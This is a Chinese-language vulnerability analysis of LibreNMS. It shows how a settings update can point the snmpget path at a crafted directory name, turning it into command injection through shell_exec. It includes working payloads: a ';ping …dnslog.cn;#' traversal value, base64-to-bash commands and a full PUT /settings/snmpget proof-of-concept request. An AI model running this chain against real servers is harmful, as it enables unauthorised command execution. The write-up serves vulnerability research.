本文详细分析了一个基于Laravel框架的系统LibreNMS中存在的配置篡改与任意命令执行漏洞。通过路由分析,揭示了系统中SettingsController类的update方法存在的安全隐患。攻击者可以通过篡改配置文件中的snmpget键值,利用shell_exec函数执行任意系统命令。
本文详细分析了一个基于Laravel框架的系统LibreNMS中存在的配置篡改与任意命令执行漏洞。通过路由分析,揭示了系统中SettingsController类的update方法存在的安全隐患。攻击者可以通过篡改配置文件中的snmpget键值,利用shell_exec函数执行任意系统命令。
参考文章:https://www.hacktwohub.com/
- 路由分析
该系统是基于Laravel 框架开发的,并使用Illuminate 作为路由,在route目录下定义了api,web和console不同业务方面的路由,

例如在这个路由下,使用了 can:admin 中间件来验证用户是否具有管理员权限。并且为settings定义了三中请求方式,当使用put请求/settings/1路径时候,就会调用SettingsController类下的update方法,传入的参数为1。如果参数后面有?则代表该参数为可选参数。
- 漏洞分析
首先来看最终的漏洞点:

这里在访问about页面时,version_netsnmp的结果是通过执行shell_exec得到的结果,shell_exec执行的是系统命令,这里是通过在config中获取键为snmpget的值进行执行的,这里默认是snmpget的命令路径。
这里如果可以修改config中键对应的值对,那么就可以修改config从而将snmpget的值进行替换,达到任意命令执行。
接下来查看这个Config这个类,通过查看Config类的结构,发现不光有get方法还有set方法。

所以只需要查找哪里存在Config::set方法,且参数可控的地方。但是经过全局搜索Config:set关键字,并没有发现可以利用的地方,基本所有的第一个参数都被固定了。

其实除此之外还有两种方式来进行set:
第一种是查看在Config类里面搜索有没有其他地方对set其进行了调用。通过self::set关键字进行搜索,发现确实有很多很多,但经过筛查还是没有能直接利用的

第二种是查看set方法中的实现逻辑,看哪里也用了相同的逻辑:

发现在set方法中实际是使用的 Arr::set 方法。Arr 是 Laravel 框架中的一个辅助类,提供了一些常用的数组操作方法,旨在简化数组的处理过程。在这里的self::$config是一个数组,所以可以通过Arr的相关方法处理。

所以这里搜索Arr::set关键字发现在persist方法中使用了,并且$key和$value参数没有写死,是通过传参来的,然后通过正则搜索Config::persist\(\$\w+?, \$\w+?\)全局查找哪里调用了该方法。

最终找到这样一处,在SettingsController的update方法里,代码如下:
class SettingsController extends Controller
{
...
public function update(DynamicConfig $config, Request $request, $id)
{
$value \= $request->get('value');
if (! $config->isValidSetting($id)) { // 对id进行检查
return $this->jsonResponse($id, ':id is not a valid setting', null, 400);
}
$current \= \LibreNMS\Config::get($id);
$config_item \= $config->get($id);
if (! $config_item->checkValue($value)) { // 对value进行检查
return $this->jsonResponse($id, $config_item->getValidationMessage($value), $current, 400);
}
if (\LibreNMS\Config::persist($id, $value)) { // 漏洞点
return $this->jsonResponse($id, "Successfully set $id", $value);
}
return $this->jsonResponse($id, 'Failed to update :id', $current, 400);
}
...
}
在进行persist之前分别会对会对$value进行checkValue检查,在checkValue中,由于这里value的类型是executable,所以value的值需要同时满足是是一个可执行文件。由于这里只能执行一个单一可执行文件而不能携带参数,所以在没有上传点的情况下很鸡肋。

但也不是没有办法,因为最后执行命令使用过shell_exec进行执行的,它通过 shell 执行命令并将完整的输出以字符串的方式返回。既然执行的是shell命令,那么就可以使用;分号将执行多个命令,并且在进行检查时并没有限制路径穿越,如果某个目录中包含以;包裹的命令,就可以做到任意命令执行 ,例如将snnpget的值设置为
/tmp/;ping a12dsa.dnslog.cn;#/../../../bin/ls
这样既可以通过is_file($value) && is_executable($value);的检查,也可以在后续的shell_exec执行两个分号里面的命令,#将后面的内容进行注释。
(如果命令中出现/等在目录命名不合规的命令,可以考虑使用base64的方式执行,例如echo cGluZyBhMTJkc2EuZG5zbG9nLmNu | base64 -d | bash)
所以接下来就是查找哪里可以创建自定义目录的地方。php中创建目录的方法是mkdir。当然重命名目录也是可以的,使用的方法是rename。这里全局搜索rename(

这里找到这样一处

通过方法名可以看到这里是重命名host的函数。所以首先可以添加一个设备,host任意,然后修改设备host为payload即可
- 漏洞复现
首先点击Device-Add Device,然后Hostname or IP随便写后添加设备

添加时如果对应的ip没有开启snmpd或无法ping通可能会添加失败,可以选择Force add强制添加,

然后等待几分钟,系统设置了计划任务等待轮询器poll设备,这时会在rdd目录下创建一个同host的文件用来保存监控图像。
然后转到device界面,点击右上角设置,修改hostname,这里修改hostname为xxx; echo
dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;#后确认,这里的payload为touch /tmp/vuln_test

这是查看目录已经被修改

然后修改snmpget的路径,前面分析相关功能在SettingsController路径下,根据路由信息使用put方法请求/settings/snmpget路径,

poc:
PUT /settings/snmpget HTTP/1.1
Cookie:
X-Requested-With: XMLHttpRequest
Host: xxx
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://69.165.65.134
Proxy-Connection: keep-alive
Content-Length: 16
{"value":"../rrd/xxx; echo dG91Y2ggL3RtcC92dWxuX3Rlc3Q= | base64 -d | bash;#/../../../../bin/echo"}

然后访问/about路径触发shell_exec,然后查看服务器/tmp路径发现命令执行成功。